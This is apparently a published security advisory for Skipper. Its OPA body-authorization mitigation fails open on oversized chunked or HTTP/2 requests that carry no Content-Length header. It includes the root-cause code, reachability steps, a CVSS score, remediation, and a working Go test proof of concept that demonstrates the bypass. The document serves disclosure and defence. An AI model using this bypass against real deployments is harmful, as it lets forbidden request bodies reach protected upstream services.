CVE-2026-86043: Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)
- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`. - **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable. - **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant. ## Summary Skipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`): ```rego default allow := false allow if { input.truncated_body == false # ... body-based conditions } ``` That mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body). The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies. ## Root cause `opa-envoy-plugin/envoyauth/request.go`: ```go func getParsedBody(...) (any, bool, error) { if val, ok := headers["content-type"]; ok { if strings.Contains(val, "application/json") { ... if val, ok := headers["content-length"]; ok { // <-- only path that sets truncation truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body))) ... if truncated { return nil, true, nil } } ... } else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ } else if ... "multipart/form-data" { /* same content-length gate */ } } return data, false, nil // <-- no content-length ==> truncated_body = false } func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) { cl, _ := strconv.ParseInt(contentLength, 10, 64) if cl != -1 && cl > bodyLength { return true, nil } return false, nil } ``` Truncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength < 0`), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing. ## Reachability 1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs). 2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present. 3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix. 4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA. 5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error. 6. Policy: `input.truncated_body == false` is satisfied → `allow = true`. 7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream. Every guard on the path is accounted for: the only "guard" is `truncated_body`, and it is defeated by omitting `content-length`. ## Impact Bypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High). ## CVSS 3.1 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High** - **AV:N** — remote HTTP request. - **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding). - **PR:N / UI:N** — unauthenticated, no user interaction. - **S:U** — impact within the authorized component/upstream trust scope. - **C:N** — no direct disclosure by the bypass itself. - **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource). - **A:N** — not primarily an availability issue. (Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.) ## Proof of Concept Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream. - **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works). - **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap. Command and observed benign output: ``` $ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1 poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66 --- PASS: TestTruncatedBodyChunkedBypass (0.11s) PASS ``` - content-length variant → **403**, upstream received nothing (`-1`) — mitigation works. - chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**. (Full PoC source is appended below by the submission tool via `--poc-file`.) ## Adversarial re-read (refutation attempts) - *"Truncated JSON just fails to parse → fail closed."* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases. - *"Maybe Skipper adds a content-length for chunked before OPA sees it."* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`. - *"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected."* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly. - *"Is this already covered by CVE-2026-50197?"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies. Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug). ## Remediation Do not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to `false`. ## Confidence High. Root cause verified in both Skipper and the pinned `[email protected]` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation. ## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`) ```go package openpolicyagent_test import ( "fmt" "io" "net/http" "net/http/httptest" "strings" "sync/atomic" "testing" "time" opasdktest "github.com/open-policy-agent/opa/v1/sdk/test" "github.com/stretchr/testify/assert" "github.com/zalando/skipper/eskip" "github.com/zalando/skipper/filters" "github.com/zalando/skipper/filters/builtin" "github.com/zalando/skipper/filters/openpolicyagent" "github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest" "github.com/zalando/skipper/proxy" "github.com/zalando/skipper/routing" "github.com/zalando/skipper/routing/testdataclient" ) // TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734 // mitigation ("check input.truncated_body in your policy") fails OPEN when the // oversized request is sent with Transfer-Encoding: chunked (no Content-Length). // // The mitigation Rego (verbatim from the advisory): // // default allow := false // allow if { input.truncated_body == false } // // truncated_body is derived by the OPA envoy plugin ONLY when a content-length // header is present (opa-envoy-plugin envoyauth/request.go getParsedBody -> // checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no // content-length, so truncated_body stays false even though Skipper truncated // the body to max-request-body-size. The mitigated policy therefore ALLOWS an // oversized body and the full payload reaches upstream. func TestTruncatedBodyChunkedBypass(t *testing.T) { const maxBody = 32 // oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32. payload := "a=" + strings.Repeat("A", 64) // upstream records how many body bytes it actually received. var upstreamBytes atomic.Int64 backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { n, _ := io.Copy(io.Discard, r.Body) upstreamBytes.Store(n) w.WriteHeader(200) w.Write([]byte("OK")) })) defer backend.Close() bundleName := "test-bundle" opaControlPlane := opasdktest.MustNewServer( opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{ // The exact mitigation the advisory recommends. "main.rego": ` package envoy.authz import rego.v1 default allow := false allow if { input.truncated_body == false } `, }), ) defer opaControlPlane.Stop() config := fmt.Appendf(nil, `{ "services": {"test": {"url": %q}}, "bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}}, "labels": {"environment": "test"}, "plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}} }`, opaControlPlane.URL()) opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry( openpolicyagent.WithPreloadingEnabled(true), openpolicyagent.WithEnableDataPreProcessingOptimization(true), openpolicyagent.WithInstanceStartupTimeout(5*time.Second), openpolicyagent.WithMaxRequestBodyBytes(maxBody), openpolicyagent.WithOpenPolicyAgentInstanceConfig( openpolicyagent.WithConfigTemplate(config)), ) if err != nil { t.Fatalf("opaRegistry: %v", err) } defer opaRegistry.Close() fr := make(filters.Registry) fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry)) fr.Register(builtin.NewSetPath()) docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";` r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL)) dc := testdataclient.New(r) defer dc.Close() rt := routing.New(routing.Options{ FilterRegistry: fr, DataClients: []routing.DataClient{dc}, PreProcessors: []routing.PreProcessor{opaRegistry.NewPreProcessor()}, PostProcessors: []routing.PostProcessor{opaRegistry}, PollTimeout: time.Second, SignalFirstLoad: true, }) defer rt.Close() <-rt.FirstLoad() pr := proxy.WithParams(proxy.Params{Routing: rt}) defer pr.Close() ts := httptest.NewServer(pr) defer ts.Close() inst, err := opaRegistry.GetOrStartInstance(bundleName) assert.NoError(t, err) assert.NotNil(t, inst) doReq := func(chunked bool) (int, int64) { upstreamBytes.Store(-1) req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload)) if err != nil { t.Fatalf("new request: %v", err) } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") if chunked { // Force chunked framing: no Content-Length reaches the server, // so the server sees req.ContentLength == -1. req.ContentLength = -1 req.TransferEncoding = []string{"chunked"} } rsp, err := ts.Client().Do(req) if err != nil { t.Fatalf("do: %v", err) } io.Copy(io.Discard, rsp.Body) rsp.Body.Close() return rsp.StatusCode, upstreamBytes.Load() } // POSITIVE CONTROL: oversized body WITH Content-Length. // truncated_body == true -> policy denies. Mitigation works as designed. clStatus, clUpstream := doReq(false) t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream) assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)") // BYPASS: identical oversized body sent CHUNKED (no Content-Length). // truncated_body == false -> policy ALLOWS -> full payload reaches upstream. chStatus, chUpstream := doReq(true) t.Logf("[chunked ] status=%d upstream_body_bytes=%d", chStatus, chUpstream) assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation") assert.Equal(t, int64(len(payload)), chUpstream, "BYPASS: upstream received the FULL oversized payload past OPA authorization") } ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: github.com/zalando/skipper 0.27.37.
Technical details
- Vendor
- Not specified
- Product
- github.com/zalando/skipper
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source